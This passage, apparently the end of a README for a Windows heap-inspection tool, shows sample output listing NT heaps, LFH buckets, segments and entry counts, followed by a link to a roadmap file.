VS context @ 0x80280: committed=12 free=3 subsegments=1
|
|
LFH active buckets (total-blocks): [5]=50
|
|
|
|
[1] 0x0000000000010000 NT Heap
|
|
flags=0x00008000 encoding=true front-end=none
|
|
segments: 2
|
|
|
|
[2] 0x00000000001a0000 NT Heap
|
|
flags=0x00001002 encoding=true front-end=LFH @ 0x8d0000
|
|
segments: 2
|
|
entries: total=18 busy=16 free=2 busy_bytes=25467 free_bytes=9360
|
|
LFH active buckets: [0]=16b [1]=32b [2]=48b ...
|
|
```
|
|
|
|
---
|
|
|
|
See [ROADMAP.md](ROADMAP.md) for implementation status and planned work.
|